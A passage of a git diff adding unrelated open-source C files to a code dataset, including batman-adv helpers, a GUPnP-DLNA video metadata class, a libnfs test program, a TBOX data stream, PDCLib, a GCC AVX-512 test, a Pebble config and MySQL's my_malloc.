size) +{ + unsigned char *key = data; + uint32_t hash = 0; + size_t i; + + for (i = 0; i < 6; i++) { + hash += key[i]; + hash += (hash << 10); + hash ^= (hash >> 6); + } + + hash += (hash << 3); + hash ^= (hash >> 11); + hash += (hash << 15); + + return hash % size; +} + +int is_my_mac(uint8_t *addr) +{ + struct batman_if *batman_if; + rcu_read_lock(); + list_for_each_entry_rcu(batman_if, &if_list, list) { + if ((batman_if->net_dev) && + (compare_orig(batman_if->net_dev->dev_addr, addr))) { + rcu_read_unlock(); + return 1; + } + } + rcu_read_unlock(); + return 0; + +} + +int is_bcast(uint8_t *addr) +{ + return (addr[0] == (uint8_t)0xff) && (addr[1] == (uint8_t)0xff); +} + +int is_mcast(uint8_t *addr) +{ + return *addr & 0x01; +} + +MODULE_LICENSE("GPL"); + +MODULE_AUTHOR(DRIVER_AUTHOR); +MODULE_DESCRIPTION(DRIVER_DESC); +MODULE_SUPPORTED_DEVICE(DRIVER_DEVICE); +#ifdef REVISION_VERSION +MODULE_VERSION(SOURCE_VERSION "-" REVISION_VERSION); +#else +MODULE_VERSION(SOURCE_VERSION); +#endif diff --git a/pool/shard011/C/0142261_gupnp-dlna-video-information.c b/pool/shard011/C/0142261_gupnp-dlna-video-information.c new file mode 100644 index 0000000000000000000000000000000000000000..08a437307e3b582caf0b671b6af3a0bcb8140105 --- /dev/null +++ b/pool/shard011/C/0142261_gupnp-dlna-video-information.c @@ -0,0 +1,358 @@ +/* + * Copyright (C) 2012, 2013 Intel Corporation. + * + * Authors: Krzesimir Nowak + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the + * Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, + * Boston, MA 02110-1301, USA. + */ + +/** + * SECTION:gupnp-dlna-video-information + * @short_description: Base class representing video metadata needed + * for DLNA profiles matching. + * @see_also: #GUPnPDLNABoolValue, #GUPnPDLNAFractionValue, + * #GUPnPDLNAIntValue, #GUPnPDLNAStringValue + * + * #GUPnPDLNAVideoInformation holds all video metadatas important for + * matching profiles. Note that it does not mean all data should be + * provided for every video file as in some cases it does not make + * sense (e.g. MPEG version does not make sense for Quicktime video + * files). + * + * For metadata attributes that do not exist in current video file an + * unset value should be returned. For metadata attributes that do + * exist a set value with proper underlying value should be + * returned. In case metadata extractor has completely no clue how to + * extract some metadata attribute at all, an unsupported value should + * be returned. Note that unsupported values should be a temporary + * mean before fixing the multimedia framework to be able to extract + * such attribute. + * + * Note that gupnp_dlna_video_information_get_mime() should always + * return a set value. Otherwise it is highly probably that the file + * will not match against any DLNA profile. + */ + +#include "gupnp-dlna-video-information.h" + +struct _GUPnPDLNAVideoInformationPrivate { + gpointer placeholder; +}; + +typedef struct _GUPnPDLNAVideoInformationPrivate + GUPnPDLNAVideoInformationPrivate; + +G_DEFINE_ABSTRACT_TYPE_WITH_PRIVATE (GUPnPDLNAVideoInformation, + gupnp_dlna_video_information, + G_TYPE_OBJECT) + +static void +gupnp_dlna_video_information_class_init + (GUPnPDLNAVideoInformationClass *info_class) +{ + info_class->get_bitrate = NULL; + info_class->get_framerate = NULL; + info_class->get_height = NULL; + info_class->is_interlaced = NULL; + info_class->get_level = NULL; + info_class->get_mpeg_version = NULL; + info_class->get_pixel_aspect_ratio = NULL; + info_class->get_profile = NULL; + info_class->is_system_stream = NULL; + info_class->get_width = NULL; + info_class->get_mime = NULL; +} + +static void +gupnp_dlna_video_information_init (GUPnPDLNAVideoInformation *info) +{ +} + +/** + * gupnp_dlna_video_information_get_bitrate: (skip) + * @info: A #GUPnPDLNAVideoInformation object. + * + * Returns: A bitrate. + */ +GUPnPDLNAIntValue +gupnp_dlna_video_information_get_bitrate (GUPnPDLNAVideoInformation *info) +{ + GUPnPDLNAVideoInformationClass *info_class; + + g_return_val_if_fail (GUPNP_DLNA_IS_VIDEO_INFORMATION (info), + GUPNP_DLNA_INT_VALUE_UNSET); + + info_class = GUPNP_DLNA_VIDEO_INFORMATION_GET_CLASS (info); + + g_return_val_if_fail + (GUPNP_DLNA_IS_VIDEO_INFORMATION_CLASS (info_class), + GUPNP_DLNA_INT_VALUE_UNSET); + g_return_val_if_fail (info_class->get_bitrate != NULL, + GUPNP_DLNA_INT_VALUE_UNSET); + + return info_class->get_bitrate (info); +} + +/** + * gupnp_dlna_video_information_get_framerate: (skip) + * @info: A #GUPnPDLNAVideoInformation object. + * + * Returns: A framerate. + */ +GUPnPDLNAFractionValue +gupnp_dlna_video_information_get_framerate (GUPnPDLNAVideoInformation *info) +{ + GUPnPDLNAVideoInformationClass *info_class; + + g_return_val_if_fail (GUPNP_DLNA_IS_VIDEO_INFORMATION (info), + GUPNP_DLNA_FRACTION_VALUE_UNSET); + + info_class = GUPNP_DLNA_VIDEO_INFORMATION_GET_CLASS (info); + + g_return_val_if_fail + (GUPNP_DLNA_IS_VIDEO_INFORMATION_CLASS (info_class), + GUPNP_DLNA_FRACTION_VALUE_UNSET); + g_return_val_if_fail (info_class->get_framerate != NULL, + GUPNP_DLNA_FRACTION_VALUE_UNSET); + + return info_class->get_framerate (info); +} + +/** + * gupnp_dlna_video_information_get_height: (skip) + * @info: A #GUPnPDLNAVideoInformation object. + * + * Returns: A height. + */ +GUPnPDLNAIntValue +gupnp_dlna_video_information_get_height (GUPnPDLNAVideoInformation *info) +{ + GUPnPDLNAVideoInformationClass *info_class; + + g_return_val_if_fail (GUPNP_DLNA_IS_VIDEO_INFORMATION (info), + GUPNP_DLNA_INT_VALUE_UNSET); + + info_class = GUPNP_DLNA_VIDEO_INFORMATION_GET_CLASS (info); + + g_return_val_if_fail + (GUPNP_DLNA_IS_VIDEO_INFORMATION_CLASS (info_class), + GUPNP_DLNA_INT_VALUE_UNSET); + g_return_val_if_fail (info_class->get_height != NULL, + GUPNP_DLNA_INT_VALUE_UNSET); + + return info_class->get_height (info); +} + +/** + * gupnp_dlna_video_information_is_interlaced: (skip) + * @info: A #GUPnPDLNAVideoInformation object. + * + * Returns: Whether video is interlaced. + */ +GUPnPDLNABoolValue +gupnp_dlna_video_information_is_interlaced (GUPnPDLNAVideoInformation *info) +{ + GUPnPDLNAVideoInformationClass *info_class; + + g_return_val_if_fail (GUPNP_DLNA_IS_VIDEO_INFORMATION (info), + GUPNP_DLNA_BOOL_VALUE_UNSET); + + info_class = GUPNP_DLNA_VIDEO_INFORMATION_GET_CLASS (info); + + g_return_val_if_fail + (GUPNP_DLNA_IS_VIDEO_INFORMATION_CLASS (info_class), + GUPNP_DLNA_BOOL_VALUE_UNSET); + g_return_val_if_fail (info_class->is_interlaced != NULL, + GUPNP_DLNA_BOOL_VALUE_UNSET); + + return info_class->is_interlaced (info); +} + +/** + * gupnp_dlna_video_information_get_level: (skip) + * @info: A #GUPnPDLNAVideoInformation object. + * + * Returns: A level. + */ +GUPnPDLNAStringValue +gupnp_dlna_video_information_get_level (GUPnPDLNAVideoInformation *info) +{ + GUPnPDLNAVideoInformationClass *info_class; + + g_return_val_if_fail (GUPNP_DLNA_IS_VIDEO_INFORMATION (info), + GUPNP_DLNA_STRING_VALUE_UNSET); + + info_class = GUPNP_DLNA_VIDEO_INFORMATION_GET_CLASS (info); + + g_return_val_if_fail + (GUPNP_DLNA_IS_VIDEO_INFORMATION_CLASS (info_class), + GUPNP_DLNA_STRING_VALUE_UNSET); + g_return_val_if_fail (info_class->get_level != NULL, + GUPNP_DLNA_STRING_VALUE_UNSET); + + return info_class->get_level (info); +} + +/** + * gupnp_dlna_video_information_get_mpeg_version: (skip) + * @info: A #GUPnPDLNAVideoInformation object. + * + * Returns: An MPEG version. + */ +GUPnPDLNAIntValue +gupnp_dlna_video_information_get_mpeg_version (GUPnPDLNAVideoInformation *info) +{ + GUPnPDLNAVideoInformationClass *info_class; + + g_return_val_if_fail (GUPNP_DLNA_IS_VIDEO_INFORMATION (info), + GUPNP_DLNA_INT_VALUE_UNSET); + + info_class = GUPNP_DLNA_VIDEO_INFORMATION_GET_CLASS (info); + + g_return_val_if_fail + (GUPNP_DLNA_IS_VIDEO_INFORMATION_CLASS (info_class), + GUPNP_DLNA_INT_VALUE_UNSET); + g_return_val_if_fail (info_class->get_mpeg_version != NULL, + GUPNP_DLNA_INT_VALUE_UNSET); + + return info_class->get_mpeg_version (info); +} + +/** + * gupnp_dlna_video_information_get_pixel_aspect_ratio: (skip) + * @info: A #GUPnPDLNAVideoInformation object. + * + * Returns: A pixel-aspect-ratio. + */ +GUPnPDLNAFractionValue +gupnp_dlna_video_information_get_pixel_aspect_ratio + (GUPnPDLNAVideoInformation *info) +{ + GUPnPDLNAVideoInformationClass *info_class; + + g_return_val_if_fail (GUPNP_DLNA_IS_VIDEO_INFORMATION (info), + GUPNP_DLNA_FRACTION_VALUE_UNSET); + + info_class = GUPNP_DLNA_VIDEO_INFORMATION_GET_CLASS (info); + + g_return_val_if_fail + (GUPNP_DLNA_IS_VIDEO_INFORMATION_CLASS (info_class), + GUPNP_DLNA_FRACTION_VALUE_UNSET); + g_return_val_if_fail (info_class->get_pixel_aspect_ratio != NULL, + GUPNP_DLNA_FRACTION_VALUE_UNSET); + + return info_class->get_pixel_aspect_ratio (info); +} + +/** + * gupnp_dlna_video_information_get_profile: (skip) + * @info: A #GUPnPDLNAVideoInformation object. + * + * Returns: A profile. + */ +GUPnPDLNAStringValue +gupnp_dlna_video_information_get_profile (GUPnPDLNAVideoInformation *info) +{ + GUPnPDLNAVideoInformationClass *info_class; + + g_return_val_if_fail (GUPNP_DLNA_IS_VIDEO_INFORMATION (info), + GUPNP_DLNA_STRING_VALUE_UNSET); + + info_class = GUPNP_DLNA_VIDEO_INFORMATION_GET_CLASS (info); + + g_return_val_if_fail + (GUPNP_DLNA_IS_VIDEO_INFORMATION_CLASS (info_class), + GUPNP_DLNA_STRING_VALUE_UNSET); + g_return_val_if_fail (info_class->get_profile != NULL, + GUPNP_DLNA_STRING_VALUE_UNSET); + + return info_class->get_profile (info); +} + +/** + * gupnp_dlna_video_information_is_system_stream: (skip) + * @info: A #GUPnPDLNAVideoInformation object. + * + * Returns: Whether it is a system stream. + */ +GUPnPDLNABoolValue +gupnp_dlna_video_information_is_system_stream (GUPnPDLNAVideoInformation *info) +{ + GUPnPDLNAVideoInformationClass *info_class; + + g_return_val_if_fail (GUPNP_DLNA_IS_VIDEO_INFORMATION (info), + GUPNP_DLNA_BOOL_VALUE_UNSET); + + info_class = GUPNP_DLNA_VIDEO_INFORMATION_GET_CLASS (info); + + g_return_val_if_fail + (GUPNP_DLNA_IS_VIDEO_INFORMATION_CLASS (info_class), + GUPNP_DLNA_BOOL_VALUE_UNSET); + g_return_val_if_fail (info_class->is_system_stream != NULL, + GUPNP_DLNA_BOOL_VALUE_UNSET); + + return info_class->is_system_stream (info); +} + +/** + * gupnp_dlna_video_information_get_width: (skip) + * @info: A #GUPnPDLNAVideoInformation object. + * + * Returns: A width. + */ +GUPnPDLNAIntValue +gupnp_dlna_video_information_get_width (GUPnPDLNAVideoInformation *info) +{ + GUPnPDLNAVideoInformationClass *info_class; + + g_return_val_if_fail (GUPNP_DLNA_IS_VIDEO_INFORMATION (info), + GUPNP_DLNA_INT_VALUE_UNSET); + + info_class = GUPNP_DLNA_VIDEO_INFORMATION_GET_CLASS (info); + + g_return_val_if_fail + (GUPNP_DLNA_IS_VIDEO_INFORMATION_CLASS (info_class), + GUPNP_DLNA_INT_VALUE_UNSET); + g_return_val_if_fail (info_class->get_width != NULL, + GUPNP_DLNA_INT_VALUE_UNSET); + + return info_class->get_width (info); +} + +/** + * gupnp_dlna_video_information_get_mime: (skip) + * @info: A #GUPnPDLNAVideoInformation object. + * + * Returns: A MIME type. + */ +GUPnPDLNAStringValue +gupnp_dlna_video_information_get_mime (GUPnPDLNAVideoInformation *info) +{ + GUPnPDLNAVideoInformationClass *info_class; + + g_return_val_if_fail (GUPNP_DLNA_IS_VIDEO_INFORMATION (info), + GUPNP_DLNA_STRING_VALUE_UNSET); + + info_class = GUPNP_DLNA_VIDEO_INFORMATION_GET_CLASS (info); + + g_return_val_if_fail + (GUPNP_DLNA_IS_VIDEO_INFORMATION_CLASS (info_class), + GUPNP_DLNA_STRING_VALUE_UNSET); + g_return_val_if_fail (info_class->get_mime != NULL, + GUPNP_DLNA_STRING_VALUE_UNSET); + + return info_class->get_mime (info); +} diff --git a/pool/shard011/C/0142262_nfs-repl.c b/pool/shard011/C/0142262_nfs-repl.c new file mode 100644 index 0000000000000000000000000000000000000000..1999bb8118b1d81e754cc468be43ca7f7898e104 --- /dev/null +++ b/pool/shard011/C/0142262_nfs-repl.c @@ -0,0 +1,146 @@ +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include + +#include "libnfs-glue.h" +#include "nfsio.h" + +int print_list (struct nfs_context *nfs) { + + int ret; + struct stat st; + struct nfsdirent *nfsdirent; + struct nfsdir *nfsdir; + + ret = nfs_opendir (nfs, "/", &nfsdir); + if (ret != 0) { + printf ("opendir has failed. Error:%s\n", nfs_get_error (nfs)); + return ret; + } + + while ((nfsdirent = nfs_readdir (nfs, nfsdir)) != NULL) { + + char path[1024]; + if (!strcmp (nfsdirent->name, ".") || !strcmp (nfsdirent->name, "..")) { + continue; + } + + sprintf (path, "%s/%s", "/", nfsdirent->name); + ret = nfs_stat (nfs, path, &st); + if (ret != 0) { + fprintf (stderr, "Failed to stat(%s) %s\n", + path, nfs_get_error (nfs)); + continue; + } + + switch (st.st_mode & S_IFMT) { +#ifndef WIN32 + case S_IFLNK: +#endif + case S_IFREG: + printf ("-"); + break; + case S_IFDIR: + printf ("d"); + break; + case S_IFCHR: + printf ("c"); + break; + case S_IFBLK: + printf ("b"); + break; + } + printf ("%c%c%c", + "-r"[!!(st.st_mode & S_IRUSR)], + "-w"[!!(st.st_mode & S_IWUSR)], + "-x"[!!(st.st_mode & S_IXUSR)] + ); + printf ("%c%c%c", + "-r"[!!(st.st_mode & S_IRGRP)], + "-w"[!!(st.st_mode & S_IWGRP)], + "-x"[!!(st.st_mode & S_IXGRP)] + ); + printf ("%c%c%c", + "-r"[!!(st.st_mode & S_IROTH)], + "-w"[!!(st.st_mode & S_IWOTH)], + "-x"[!!(st.st_mode & S_IXOTH)] + ); + printf (" %5d", st.st_uid); + printf (" %5d", st.st_gid); + printf (" %12" PRId64, st.st_size); + + printf (" %s\n", nfsdirent->name); + } + nfs_closedir (nfs, nfsdir); + return 0; +} + +int main(int argc, char *argv[]) { + + int ret; + uint64_t count, offset; + struct nfs_context *nfs = NULL; + struct nfsfh* creat_fh = NULL; + struct nfsfh* open_fh = NULL; + + char * buf = (char*) malloc (sizeof (char) * 4096); + char *server = argv[1]; + char *export = "/local/nfs_server"; + nfsio * io = do_nfsio_connect (server, export); + + //list root + print_list (io->nfs); + + printf ("mkdir\n"); + nfs_mkdir (io->nfs, "/new_dir0"); + nfs_mkdir (io->nfs, "/new_dir1"); + print_list (io->nfs); + + printf ("rename dir\n"); + nfs_rename (io->nfs, "/new_dir0", "/new_dir0_renamed"); + print_list (io->nfs); + + printf ("rmdir\n"); + nfs_rmdir (io->nfs, "/new_dir1"); + print_list (io->nfs); + + printf ("creat\n"); + struct nfsfh* fh = NULL; + nfs_creat (io->nfs, "/newfile", 0660, &creat_fh); + print_list (io->nfs); + + printf ("open\n"); + ret = nfs_open (io->nfs, "/newfile", O_RDONLY, &open_fh); + printf ("open ret=%d\n", ret); + + offset = 0; + count = 4096; + + printf ("pwrite\n"); + ret = nfs_pwrite (io->nfs, open_fh, offset, count, buf); + printf ("pwrite ret=%d\n", ret); + + printf ("pread\n"); + ret = nfs_pread (io->nfs, open_fh, offset, count, buf); + printf ("pread ret=%d\n", ret); + + printf ("close\n"); + ret = nfs_close (io->nfs, open_fh); + printf ("close ret=%d\n", ret); + + printf ("unlink\n"); + nfs_unlink (io->nfs, "/newfile"); + print_list (io->nfs); + + return ret; +} + diff --git a/pool/shard011/C/0142263_data.c b/pool/shard011/C/0142263_data.c new file mode 100644 index 0000000000000000000000000000000000000000..3a4edc69466c2511d260ecb2d612181aa55a3e0f --- /dev/null +++ b/pool/shard011/C/0142263_data.c @@ -0,0 +1,307 @@ +/*!The Treasure Box Library + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + * Copyright (C) 2009-2020, TBOOX Open Source Group. + * + * @author ruki + * @file data.c + * + */ + +/* ////////////////////////////////////////////////////////////////////////////////////// + * includes + */ +#include "prefix.h" + +/* ////////////////////////////////////////////////////////////////////////////////////// + * types + */ + +// the data stream type +typedef struct __tb_stream_data_t +{ + // the data + tb_byte_t* data; + + // the head + tb_byte_t* head; + + // the size + tb_size_t size; + + // the data is referenced? + tb_bool_t bref; + +}tb_stream_data_t; + +/* ////////////////////////////////////////////////////////////////////////////////////// + * implementation + */ +static __tb_inline__ tb_stream_data_t* tb_stream_data_cast(tb_stream_ref_t stream) +{ + // check + tb_assert_and_check_return_val(stream && tb_stream_type(stream) == TB_STREAM_TYPE_DATA, tb_null); + + // ok? + return (tb_stream_data_t*)stream; +} +static tb_bool_t tb_stream_data_open(tb_stream_ref_t stream) +{ + // check + tb_stream_data_t* stream_data = tb_stream_data_cast(stream); + tb_assert_and_check_return_val(stream_data && stream_data->data && stream_data->size, tb_false); + + // init head + stream_data->head = stream_data->data; + + // ok + return tb_true; +} +static tb_bool_t tb_stream_data_clos(tb_stream_ref_t stream) +{ + // check + tb_stream_data_t* stream_data = tb_stream_data_cast(stream); + tb_assert_and_check_return_val(stream_data, tb_false); + + // clear head + stream_data->head = tb_null; + + // ok + return tb_true; +} +static tb_void_t tb_stream_data_exit(tb_stream_ref_t stream) +{ + // check + tb_stream_data_t* stream_data = tb_stream_data_cast(stream); + tb_assert_and_check_return(stream_data); + + // clear head + stream_data->head = tb_null; + + // exit data + if (stream_data->data && !stream_data->bref) tb_free(stream_data->data); + stream_data->data = tb_null; + stream_data->size = 0; +} +static tb_long_t tb_stream_data_read(tb_stream_ref_t stream, tb_byte_t* data, tb_size_t size) +{ + // check + tb_stream_data_t* stream_data = tb_stream_data_cast(stream); + tb_assert_and_check_return_val(stream_data && stream_data->data && stream_data->head, -1); + + // check + tb_check_return_val(data, -1); + tb_check_return_val(size, 0); + + // the left + tb_size_t left = stream_data->data + stream_data->size - stream_data->head; + + // the need + if (size > left) size = left; + + // read data + if (size) tb_memcpy(data, stream_data->head, size); + + // save head + stream_data->head += size; + + // ok? + return (tb_long_t)(size); +} +static tb_long_t tb_stream_data_writ(tb_stream_ref_t stream, tb_byte_t const* data, tb_size_t size) +{ + // check + tb_stream_data_t* stream_data = tb_stream_data_cast(stream); + tb_assert_and_check_return_val(stream_data && stream_data->data && stream_data->head, -1); + + // check + tb_check_return_val(data, -1); + tb_check_return_val(size, 0); + + // the left + tb_size_t left = stream_data->data + stream_data->size - stream_data->head; + + // the need + if (size > left) size = left; + + // writ data + if (size) tb_memcpy(stream_data->head, data, size); + + // save head + stream_data->head += size; + + // ok? + return left? (tb_long_t)(size) : -1; // force end if full +} +static tb_bool_t tb_stream_data_seek(tb_stream_ref_t stream, tb_hize_t offset) +{ + // check + tb_stream_data_t* stream_data = tb_stream_data_cast(stream); + tb_assert_and_check_return_val(stream_data && offset <= stream_data->size, tb_false); + + // seek + stream_data->head = stream_data->data + offset; + + // ok + return tb_true; +} +static tb_long_t tb_stream_data_wait(tb_stream_ref_t stream, tb_size_t wait, tb_long_t timeout) +{ + // check + tb_stream_data_t* stream_data = tb_stream_data_cast(stream); + tb_assert_and_check_return_val(stream_data, -1); + + // wait + tb_long_t events = 0; + if (stream_data->head < stream_data->data + stream_data->size) + { + if (wait & TB_STREAM_WAIT_READ) events |= TB_STREAM_WAIT_READ; + if (wait & TB_STREAM_WAIT_WRIT) events |= TB_STREAM_WAIT_WRIT; + } + else events = -1; + + // ok? + return events; +} +static tb_bool_t tb_stream_data_ctrl(tb_stream_ref_t stream, tb_size_t ctrl, tb_va_list_t args) +{ + // check + tb_stream_data_t* stream_data = tb_stream_data_cast(stream); + tb_assert_and_check_return_val(stream_data, tb_false); + + // ctrl + switch (ctrl) + { + case TB_STREAM_CTRL_GET_SIZE: + { + // the psize + tb_hong_t* psize = (tb_hong_t*)tb_va_arg(args, tb_hong_t*); + tb_assert_and_check_return_val(psize, tb_false); + + // get size + *psize = stream_data->size; + return tb_true; + } + case TB_STREAM_CTRL_DATA_SET_DATA: + { + // exit data first if exists + if (stream_data->data && !stream_data->bref) tb_free(stream_data->data); + + // save data + stream_data->data = (tb_byte_t*)tb_va_arg(args, tb_byte_t*); + stream_data->size = (tb_size_t)tb_va_arg(args, tb_size_t); + stream_data->head = tb_null; + stream_data->bref = tb_true; + + // check + tb_assert_and_check_return_val(stream_data->data && stream_data->size, tb_false); + return tb_true; + } + case TB_STREAM_CTRL_SET_URL: + { + // check + tb_assert_and_check_return_val(tb_stream_is_closed((tb_stream_ref_t)stream), tb_false); + + // set url + tb_char_t const* url = (tb_char_t const*)tb_va_arg(args, tb_char_t const*); + tb_assert_and_check_return_val(url, tb_false); + + // the url size + tb_size_t url_size = tb_strlen(url); + tb_assert_and_check_return_val(url_size > 7, tb_false); + + // the base64 data and size + tb_char_t const* base64_data = url + 7; + tb_size_t base64_size = url_size - 7; + + // make data + tb_size_t maxn = base64_size; + tb_byte_t* data = tb_malloc_bytes(maxn); + tb_assert_and_check_return_val(data, tb_false); + + // decode base64 data + tb_size_t size = tb_base64_decode(base64_data, base64_size, data, maxn); + tb_assert_and_check_return_val(size, tb_false); + + // exit data first if exists + if (stream_data->data && !stream_data->bref) tb_free(stream_data->data); + + // save data + stream_data->data = data; + stream_data->size = size; + stream_data->bref = tb_false; + stream_data->head = tb_null; + + // ok + return tb_true; + } + break; + default: + break; + } + return tb_false; +} + +/* ////////////////////////////////////////////////////////////////////////////////////// + * interface implementation + */ +tb_stream_ref_t tb_stream_init_data() +{ + return tb_stream_init( TB_STREAM_TYPE_DATA + , sizeof(tb_stream_data_t) + , 0 + , tb_stream_data_open + , tb_stream_data_clos + , tb_stream_data_exit + , tb_stream_data_ctrl + , tb_stream_data_wait + , tb_stream_data_read + , tb_stream_data_writ + , tb_stream_data_seek + , tb_null + , tb_null); +} +tb_stream_ref_t tb_stream_init_from_data(tb_byte_t const* data, tb_size_t size) +{ + // check + tb_assert_and_check_return_val(data && size, tb_null); + + // done + tb_bool_t ok = tb_false; + tb_stream_ref_t stream = tb_null; + do + { + // init stream + stream = tb_stream_init_data(); + tb_assert_and_check_break(stream); + + // set data and size + if (!tb_stream_ctrl(stream, TB_STREAM_CTRL_DATA_SET_DATA, data, size)) break; + + // ok + ok = tb_true; + + } while (0); + + // failed? + if (!ok) + { + // exit it + if (stream) tb_stream_exit(stream); + stream = tb_null; + } + + // ok + return stream; +} diff --git a/pool/shard011/C/0142264_PDCLIB_c32srtombs.c b/pool/shard011/C/0142264_PDCLIB_c32srtombs.c new file mode 100644 index 0000000000000000000000000000000000000000..a45ba9887977e4241410d17c96347b7aa12c013e --- /dev/null +++ b/pool/shard011/C/0142264_PDCLIB_c32srtombs.c @@ -0,0 +1,57 @@ +/* _PDCLIB_c32srtombs( char *, const char32_t * *, size_t, mbstate_t * ) + + This file is part of the Public Domain C Library (PDCLib). + Permission is granted to use, modify, and / or redistribute at will. +*/ + +#ifndef REGTEST +#include +#include +#include +#include "_PDCLIB_encoding.h" +#include "_PDCLIB_locale.h" + +static size_t _PDCLIB_c32srtombs_l( + char *restrict dst, + const char32_t **restrict src, + size_t len, + mbstate_t *restrict ps, + _PDCLIB_locale_t restrict l) +{ + char *restrict *restrict dstp = dst ? &dst : NULL; + len = dst ? len : SIZE_MAX; + + size_t srclen = _PDCLIB_c32slen(*src); + size_t dstlen = len; + + if(l->_Codec->__c32stombs(dstp, &dstlen, src, &srclen, ps)) { + // Successful conversion + return len - dstlen; + } else { + // Failed conversion + errno = EILSEQ; + return (size_t) -1; + } +} + +size_t _PDCLIB_c32srtombs( + char *restrict dst, + const char32_t **restrict src, + size_t len, + mbstate_t *restrict ps +) +{ + return _PDCLIB_c32srtombs_l(dst, src, len, ps, _PDCLIB_threadlocale()); +} + +#endif + +#ifdef TEST +#include "_PDCLIB_test.h" + +int main( void ) +{ + TESTCASE( NO_TESTDRIVER ); + return TEST_RESULTS; +} +#endif diff --git a/pool/shard011/C/0142265_avx512f-vexpandps-1.c b/pool/shard011/C/0142265_avx512f-vexpandps-1.c new file mode 100644 index 0000000000000000000000000000000000000000..aa6996f3686a5e613fd67ea2da975aab1dd2448b --- /dev/null +++ b/pool/shard011/C/0142265_avx512f-vexpandps-1.c @@ -0,0 +1,22 @@ +/* { dg-do compile } */ +/* { dg-options "-mavx512f -O2" } */ +/* { dg-final { scan-assembler-times "vexpandps\[ \\t\]+\[^\{\n\]*\\(\[^\n\]*%zmm\[0-9\]+\{%k\[1-7\]\}(?:\n|\[ \\t\]+#)" 1 } } */ +/* { dg-final { scan-assembler-times "vexpandps\[ \\t\]+\[^\{\n\]*\\(\[^\n\]*%zmm\[0-9\]+\{%k\[1-7\]\}\{z\}(?:\n|\[ \\t\]+#)" 1 } } */ +/* { dg-final { scan-assembler-times "vexpandps\[ \\t\]+\[^\{\n\(]*%zmm\[0-9\]+\{%k\[1-7\]\}(?:\n|\[ \\t\]+#)" 1 } } */ +/* { dg-final { scan-assembler-times "vexpandps\[ \\t\]+\[^\{\n\(]*%zmm\[0-9\]+\{%k\[1-7\]\}\{z\}(?:\n|\[ \\t\]+#)" 1 } } */ + +#include + +float *p; +volatile __m512 x; +volatile __mmask16 m; + +void extern +avx512f_test (void) +{ + x = _mm512_mask_expand_ps (x, m, x); + x = _mm512_maskz_expand_ps (m, x); + + x = _mm512_mask_expandloadu_ps (x, m, p); + x = _mm512_maskz_expandloadu_ps (m, p); +} diff --git a/pool/shard011/C/0142266_config7.c b/pool/shard011/C/0142266_config7.c new file mode 100644 index 0000000000000000000000000000000000000000..f677fd7b0d3f6ee0581ec6d0eb5792a8aab89f78 --- /dev/null +++ b/pool/shard011/C/0142266_config7.c @@ -0,0 +1,62 @@ +#include "pebble.h" +#include "config.h" +#include "config7.h" + +/* + This config demonstrates how to define the apps and how to do + an app specific configuration using select (Retro has different date styles) + + Custom configuration using buttons can be implemented by overriding + custom_up() custom_down() custom_select() custom_long_select(). +*/ +#define RETRO_APP 1 + +int dateStyle = 0; + + +#define ENTRYPOINTROW(NAME) { .load = load_ ## NAME, .unload = unload_ ## NAME, .redraw = redraw_ ## NAME } + +static app_t appConfig[APP_COUNT] = { + ENTRYPOINTROW(words), + ENTRYPOINTROW(retro), + ENTRYPOINTROW(Perspective), + ENTRYPOINTROW(bit), + ENTRYPOINTROW(ill), + ENTRYPOINTROW(fuzzy), + ENTRYPOINTROW(toe), +}; + +bool custom_select() { + if (whichApp == RETRO_APP) { + if (++dateStyle >= 3) { + dateStyle = 0; + } + configRedraw(); + persist_write_int(KEY_DATE, dateStyle); + return true; + } + return false; +} + +bool custom_up() { + return false; +} + +bool custom_down() { + return false; +} + +bool custom_long_select() { + return false; +} + +void custom_deinit(Window *window) { + // Entire app is quitting. Deallocate everything that config allocated. +} + +void custom_init(){ + dateStyle = persist_read_int(KEY_DATE); + app = appConfig; +} + + diff --git a/pool/shard011/C/0142267_my_malloc.c b/pool/shard011/C/0142267_my_malloc.c new file mode 100644 index 0000000000000000000000000000000000000000..25d5e167a64ac70f54b5712850abd8fbbafae604 --- /dev/null +++ b/pool/shard011/C/0142267_my_malloc.c @@ -0,0 +1,101 @@ +/* Copyright (C) 2000 MySQL AB & MySQL Finland AB & TCX DataKonsult AB + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Library General Public + License as published by the Free Software Foundation; either + version 2 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Library General Public License for more details. + + You should have received a copy of the GNU Library General Public + License along with this library; if not, write to the Free + Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, + MA 02111-1301, USA */ + +#ifdef SAFEMALLOC /* We don't need SAFEMALLOC here */ +#undef SAFEMALLOC +#endif + +#include "mysys_priv.h" +#include "mysys_err.h" +#include + + /* My memory allocator */ + +gptr my_malloc(size_t Size, myf MyFlags) +{ + gptr point; + DBUG_ENTER("my_malloc"); + DBUG_PRINT("my",("Size: %u MyFlags: %d",Size, MyFlags)); + + if (!Size) + Size=1; /* Safety */ + if ((point = (char*)malloc(Size)) == NULL) + { + my_errno=errno; + if (MyFlags & MY_FAE) + error_handler_hook=fatal_error_handler_hook; + if (MyFlags & (MY_FAE+MY_WME)) + my_error(EE_OUTOFMEMORY, MYF(ME_BELL+ME_WAITTANG),Size); + if (MyFlags & MY_FAE) + exit(1); + } + else if (MyFlags & MY_ZEROFILL) + bzero(point,Size); + DBUG_PRINT("exit",("ptr: %lx",point)); + DBUG_RETURN(point); +} /* my_malloc */ + + + /* Free memory allocated with my_malloc */ + /*ARGSUSED*/ + +void my_no_flags_free(void *ptr) +{ + 